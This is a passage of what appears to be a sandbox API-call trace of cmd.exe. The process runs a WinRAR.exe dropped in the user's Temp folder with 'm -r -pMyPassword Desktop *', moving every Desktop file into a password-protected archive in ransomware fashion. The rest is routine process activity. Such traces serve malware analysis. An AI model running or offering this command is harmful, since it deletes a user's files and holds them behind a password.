lpReserved=0x0, lpType=0x6fec00, lpData=0x6fec04, lpcbData=0x6febfc*=0x1000 | out: lpType=0x6fec00*=0x4, lpData=0x6fec04*=0x9, lpcbData=0x6febfc*=0x4) returned 0x0 [0055.998] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x6fec00, lpData=0x6fec04, lpcbData=0x6febfc*=0x1000 | out: lpType=0x6fec00*=0x0, lpData=0x6fec04*=0x9, lpcbData=0x6febfc*=0x1000) returned 0x2 [0055.998] RegCloseKey (hKey=0xcc) returned 0x0 [0055.998] time (in: timer=0x0 | out: timer=0x0) returned 0x5ca12d7d [0055.998] srand (_Seed=0x5ca12d7d) [0055.998] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\FD1HVy\\Desktop && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0055.998] malloc (_Size=0x4000) returned 0x2c221f0 [0055.999] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\FD1HVy\\Desktop && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0055.999] malloc (_Size=0xffce) returned 0x2c30048 [0055.999] ??_V@YAXPAX@Z () returned 0x6ffbdc [0055.999] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2c30048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.000] malloc (_Size=0xffce) returned 0x2c40020 [0056.000] ??_V@YAXPAX@Z () returned 0x6ff9b0 [0056.001] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2c40020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0056.001] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0056.001] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0056.001] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0056.001] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0056.001] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0056.001] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0056.001] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0056.001] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0056.001] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0056.001] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0056.001] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0056.001] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0056.001] GetProcessHeap () returned 0x2a60000 [0056.001] RtlFreeHeap (HeapHandle=0x2a60000, Flags=0x0, BaseAddress=0x2a65768) returned 1 [0056.001] GetEnvironmentStringsW () returned 0x2a64c90* [0056.002] GetProcessHeap () returned 0x2a60000 [0056.002] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0xae2) returned 0x2a67808 [0056.002] FreeEnvironmentStringsA (penv="A") returned 1 [0056.002] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0056.002] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0056.002] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0056.002] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0056.002] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0056.002] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0056.002] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0056.002] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0056.002] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0056.002] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0056.002] malloc (_Size=0xffce) returned 0x2c4fff8 [0056.002] ??_V@YAXPAX@Z () returned 0x6ff748 [0056.003] GetProcessHeap () returned 0x2a60000 [0056.003] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x38) returned 0x2a60ae0 [0056.003] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2c4fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.003] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x2c4fff8, lpFilePart=0x6ff794 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x6ff794*="Desktop") returned 0x17 [0056.003] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0056.003] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x6ff518 | out: lpFindFileData=0x6ff518) returned 0x2a60b20 [0056.003] FindClose (in: hFindFile=0x2a60b20 | out: hFindFile=0x2a60b20) returned 1 [0056.003] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x6ff518 | out: lpFindFileData=0x6ff518) returned 0x2a60b20 [0056.004] FindClose (in: hFindFile=0x2a60b20 | out: hFindFile=0x2a60b20) returned 1 [0056.004] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x6ff518 | out: lpFindFileData=0x6ff518) returned 0x2a60b20 [0056.004] FindClose (in: hFindFile=0x2a60b20 | out: hFindFile=0x2a60b20) returned 1 [0056.004] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0056.004] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0056.004] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0056.004] GetProcessHeap () returned 0x2a60000 [0056.004] RtlFreeHeap (HeapHandle=0x2a60000, Flags=0x0, BaseAddress=0x2a67808) returned 1 [0056.004] GetEnvironmentStringsW () returned 0x2a64c90* [0056.004] GetProcessHeap () returned 0x2a60000 [0056.004] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0xb1a) returned 0x2a66d18 [0056.004] FreeEnvironmentStringsA (penv="=") returned 1 [0056.004] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2c30048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.004] GetProcessHeap () returned 0x2a60000 [0056.004] RtlFreeHeap (HeapHandle=0x2a60000, Flags=0x0, BaseAddress=0x2a60ae0) returned 1 [0056.004] ??_V@YAXPAX@Z () returned 0x1 [0056.004] ??_V@YAXPAX@Z () returned 0x1 [0056.004] GetProcessHeap () returned 0x2a60000 [0056.004] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x400e) returned 0x2a68e20 [0056.005] GetProcessHeap () returned 0x2a60000 [0056.005] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0xde) returned 0x2a67840 [0056.005] GetProcessHeap () returned 0x2a60000 [0056.005] RtlFreeHeap (HeapHandle=0x2a60000, Flags=0x0, BaseAddress=0x2a68e20) returned 1 [0056.005] GetConsoleOutputCP () returned 0x1b5 [0056.050] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x913850 | out: lpCPInfo=0x913850) returned 1 [0056.050] GetUserDefaultLCID () returned 0x409 [0056.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x90f82c, cchData=8 | out: lpLCData=":") returned 2 [0056.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x6ffb04, cchData=128 | out: lpLCData="0") returned 2 [0056.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x6ffb04, cchData=128 | out: lpLCData="0") returned 2 [0056.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x6ffb04, cchData=128 | out: lpLCData="1") returned 2 [0056.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x90f81c, cchData=8 | out: lpLCData="/") returned 2 [0056.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x90f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0056.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x90f778, cchData=32 | out: lpLCData="Tue") returned 4 [0056.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x90f738, cchData=32 | out: lpLCData="Wed") returned 4 [0056.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x90f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0056.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x90f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0056.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x90f678, cchData=32 | out: lpLCData="Sat") returned 4 [0056.051] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x90f638, cchData=32 | out: lpLCData="Sun") returned 4 [0056.051] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x90f80c, cchData=8 | out: lpLCData=".") returned 2 [0056.051] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x90f7f8, cchData=8 | out: lpLCData=",") returned 2 [0056.051] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0056.053] GetProcessHeap () returned 0x2a60000 [0056.053] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x0, Size=0x20c) returned 0x2a67970 [0056.053] GetConsoleTitleW (in: lpConsoleTitle=0x2a67970, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0056.068] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0056.068] GetProcAddress (hModule=0x75e90000, lpProcName="CopyFileExW") returned 0x75ea4330 [0056.068] GetProcAddress (hModule=0x75e90000, lpProcName="IsDebuggerPresent") returned 0x75ea5930 [0056.068] GetProcAddress (hModule=0x75e90000, lpProcName="SetConsoleInputExeNameW") returned 0x74fe09d0 [0056.069] ??_V@YAXPAX@Z () returned 0x1 [0056.069] GetProcessHeap () returned 0x2a60000 [0056.069] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x400a) returned 0x2a68e20 [0056.069] GetProcessHeap () returned 0x2a60000 [0056.069] RtlFreeHeap (HeapHandle=0x2a60000, Flags=0x0, BaseAddress=0x2a68e20) returned 1 [0056.070] _wcsicmp (_String1="cd", _String2=")") returned 58 [0056.070] _wcsicmp (_String1="FOR", _String2="cd") returned 3 [0056.070] _wcsicmp (_String1="FOR/?", _String2="cd") returned 3 [0056.070] _wcsicmp (_String1="IF", _String2="cd") returned 6 [0056.070] _wcsicmp (_String1="IF/?", _String2="cd") returned 6 [0056.070] _wcsicmp (_String1="REM", _String2="cd") returned 15 [0056.070] _wcsicmp (_String1="REM/?", _String2="cd") returned 15 [0056.070] GetProcessHeap () returned 0x2a60000 [0056.070] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x58) returned 0x2a67b88 [0056.070] GetProcessHeap () returned 0x2a60000 [0056.070] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0xe) returned 0x2a67be8 [0056.070] GetProcessHeap () returned 0x2a60000 [0056.070] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x3c) returned 0x2a67c00 [0056.071] GetProcessHeap () returned 0x2a60000 [0056.071] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x58) returned 0x2a67c48 [0056.074] _wcsicmp (_String1="FOR", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 3 [0056.075] _wcsicmp (_String1="FOR/?", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 3 [0056.075] _wcsicmp (_String1="IF", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 6 [0056.075] _wcsicmp (_String1="IF/?", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 6 [0056.075] _wcsicmp (_String1="REM", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 15 [0056.075] _wcsicmp (_String1="REM/?", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 15 [0056.075] GetProcessHeap () returned 0x2a60000 [0056.075] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x58) returned 0x2a67ca8 [0056.075] GetProcessHeap () returned 0x2a60000 [0056.075] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x66) returned 0x2a67d08 [0056.075] GetProcessHeap () returned 0x2a60000 [0056.075] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x42) returned 0x2a67d78 [0056.076] GetConsoleTitleW (in: lpConsoleTitle=0x6ff998, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0056.076] malloc (_Size=0xffce) returned 0x2c42688 [0056.076] ??_V@YAXPAX@Z () returned 0x6ff724 [0056.077] malloc (_Size=0xffce) returned 0x2c52660 [0056.077] ??_V@YAXPAX@Z () returned 0x6ff4dc [0056.077] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0056.078] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0056.078] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0056.078] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0056.078] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0056.078] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0056.078] ??_V@YAXPAX@Z () returned 0x1 [0056.078] GetProcessHeap () returned 0x2a60000 [0056.078] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x70) returned 0x2a67dc8 [0056.079] GetProcessHeap () returned 0x2a60000 [0056.079] RtlReAllocateHeap (Heap=0x2a60000, Flags=0x0, Ptr=0x2a67dc8, Size=0x3a) returned 0x2a67dc8 [0056.079] GetProcessHeap () returned 0x2a60000 [0056.079] RtlSizeHeap (HeapHandle=0x2a60000, Flags=0x0, MemoryPointer=0x2a67dc8) returned 0x3a [0056.079] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.079] malloc (_Size=0xffce) returned 0x2c52660 [0056.079] ??_V@YAXPAX@Z () returned 0x6ff4dc [0056.079] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.079] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2c52660, nVolumeNameSize=0x7fe7, lpVolumeSerialNumber=0x6ff520, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x6ff520*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.081] ??_V@YAXPAX@Z () returned 0x1 [0056.081] GetProcessHeap () returned 0x2a60000 [0056.081] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x42) returned 0x2a67e10 [0056.081] malloc (_Size=0xffce) returned 0x2c52660 [0056.082] ??_V@YAXPAX@Z () returned 0x6ff4d4 [0056.082] GetProcessHeap () returned 0x2a60000 [0056.082] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x70) returned 0x2a67e60 [0056.083] GetProcessHeap () returned 0x2a60000 [0056.083] RtlReAllocateHeap (Heap=0x2a60000, Flags=0x0, Ptr=0x2a67e60, Size=0x3c) returned 0x2a67e60 [0056.083] GetProcessHeap () returned 0x2a60000 [0056.083] RtlSizeHeap (HeapHandle=0x2a60000, Flags=0x0, MemoryPointer=0x2a67e60) returned 0x3c [0056.083] _wcsnicmp (_String1="C:", _String2="/D", _MaxCount=0x2) returned 52 [0056.083] malloc (_Size=0xffce) returned 0x2c62638 [0056.084] ??_V@YAXPAX@Z () returned 0x6ff25c [0056.084] GetProcessHeap () returned 0x2a60000 [0056.084] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x38) returned 0x2a67ea8 [0056.084] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2c62638 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.084] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x2c62638, lpFilePart=0x6ff2a8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x6ff2a8*="Desktop") returned 0x17 [0056.084] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0056.084] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x6ff028 | out: lpFindFileData=0x6ff028) returned 0x2a67ee8 [0056.084] FindClose (in: hFindFile=0x2a67ee8 | out: hFindFile=0x2a67ee8) returned 1 [0056.085] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x6ff028 | out: lpFindFileData=0x6ff028) returned 0x2a67ee8 [0056.085] FindClose (in: hFindFile=0x2a67ee8 | out: hFindFile=0x2a67ee8) returned 1 [0056.085] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x6ff028 | out: lpFindFileData=0x6ff028) returned 0x2a67ee8 [0056.085] FindClose (in: hFindFile=0x2a67ee8 | out: hFindFile=0x2a67ee8) returned 1 [0056.085] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0056.085] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0056.085] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0056.085] GetProcessHeap () returned 0x2a60000 [0056.085] RtlFreeHeap (HeapHandle=0x2a60000, Flags=0x0, BaseAddress=0x2a66d18) returned 1 [0056.085] GetEnvironmentStringsW () returned 0x2a66d18* [0056.085] GetProcessHeap () returned 0x2a60000 [0056.085] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0xb1a) returned 0x2a64c90 [0056.085] FreeEnvironmentStringsA (penv="=") returned 1 [0056.085] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2c30048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.085] GetProcessHeap () returned 0x2a60000 [0056.085] RtlFreeHeap (HeapHandle=0x2a60000, Flags=0x0, BaseAddress=0x2a67ea8) returned 1 [0056.085] ??_V@YAXPAX@Z () returned 0x1 [0056.086] ??_V@YAXPAX@Z () returned 0x1 [0056.086] ??_V@YAXPAX@Z () returned 0x1 [0056.086] GetConsoleTitleW (in: lpConsoleTitle=0x6ff998, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0056.086] malloc (_Size=0xffce) returned 0x2c42688 [0056.086] ??_V@YAXPAX@Z () returned 0x6ff724 [0056.086] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.087] malloc (_Size=0xffce) returned 0x2c52660 [0056.087] ??_V@YAXPAX@Z () returned 0x6ff4dc [0056.087] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.087] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2c52660, nVolumeNameSize=0x7fe7, lpVolumeSerialNumber=0x6ff520, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x6ff520*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.089] ??_V@YAXPAX@Z () returned 0x1 [0056.089] GetProcessHeap () returned 0x2a60000 [0056.089] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0xffd6) returned 0x2a68e20 [0056.091] GetProcessHeap () returned 0x2a60000 [0056.091] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0xa0) returned 0x2a67ea8 [0056.091] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0056.091] malloc (_Size=0xffce) returned 0x2c52660 [0056.092] ??_V@YAXPAX@Z () returned 0x6ff25c [0056.092] GetProcessHeap () returned 0x2a60000 [0056.092] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x1ffa4) returned 0x2a78e00 [0056.094] SetErrorMode (uMode=0x0) returned 0x0 [0056.094] SetErrorMode (uMode=0x1) returned 0x0 [0056.094] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\.", nBufferLength=0xffce, lpBuffer=0x2a78e08, lpFilePart=0x6ff27c | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp", lpFilePart=0x6ff27c*="Temp") returned 0x22 [0056.094] SetErrorMode (uMode=0x0) returned 0x1 [0056.094] GetProcessHeap () returned 0x2a60000 [0056.094] RtlReAllocateHeap (Heap=0x2a60000, Flags=0x0, Ptr=0x2a78e00, Size=0x64) returned 0x2a78e00 [0056.094] GetProcessHeap () returned 0x2a60000 [0056.094] RtlSizeHeap (HeapHandle=0x2a60000, Flags=0x0, MemoryPointer=0x2a78e00) returned 0x64 [0056.094] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\.") returned 1 [0056.094] GetProcessHeap () returned 0x2a60000 [0056.094] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x54) returned 0x2a67f50 [0056.094] GetProcessHeap () returned 0x2a60000 [0056.094] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x9c) returned 0x2a67fb0 [0056.094] GetProcessHeap () returned 0x2a60000 [0056.094] RtlReAllocateHeap (Heap=0x2a60000, Flags=0x0, Ptr=0x2a67fb0, Size=0x54) returned 0x2a67fb0 [0056.094] GetProcessHeap () returned 0x2a60000 [0056.094] RtlSizeHeap (HeapHandle=0x2a60000, Flags=0x0, MemoryPointer=0x2a67fb0) returned 0x54 [0056.094] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0056.094] GetProcessHeap () returned 0x2a60000 [0056.094] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0xe0) returned 0x2a68010 [0056.097] GetProcessHeap () returned 0x2a60000 [0056.097] RtlReAllocateHeap (Heap=0x2a60000, Flags=0x0, Ptr=0x2a68010, Size=0x76) returned 0x2a68010 [0056.097] GetProcessHeap () returned 0x2a60000 [0056.097] RtlSizeHeap (HeapHandle=0x2a60000, Flags=0x0, MemoryPointer=0x2a68010) returned 0x76 [0056.097] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.097] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe", fInfoLevelId=0x1, lpFindFileData=0x6ff028, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6ff028) returned 0x2a68090 [0056.098] GetProcessHeap () returned 0x2a60000 [0056.098] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x0, Size=0x14) returned 0x2a680d0 [0056.098] FindClose (in: hFindFile=0x2a68090 | out: hFindFile=0x2a68090) returned 1 [0056.098] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0056.098] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0056.098] ??_V@YAXPAX@Z () returned 0x1 [0056.098] GetConsoleTitleW (in: lpConsoleTitle=0x6ff50c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0056.098] InitializeProcThreadAttributeList (in: lpAttributeList=0x6ff438, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x6ff424 | out: lpAttributeList=0x6ff438, lpSize=0x6ff424) returned 1 [0056.098] UpdateProcThreadAttribute (in: lpAttributeList=0x6ff438, dwFlags=0x0, Attribute=0x60001, lpValue=0x6ff420, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x6ff438, lpPreviousValue=0x0) returned 1 [0056.099] GetStartupInfoW (in: lpStartupInfo=0x6ff470 | out: lpStartupInfo=0x6ff470*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0056.099] GetProcessHeap () returned 0x2a60000 [0056.099] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x18) returned 0x2a68090 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0056.099] 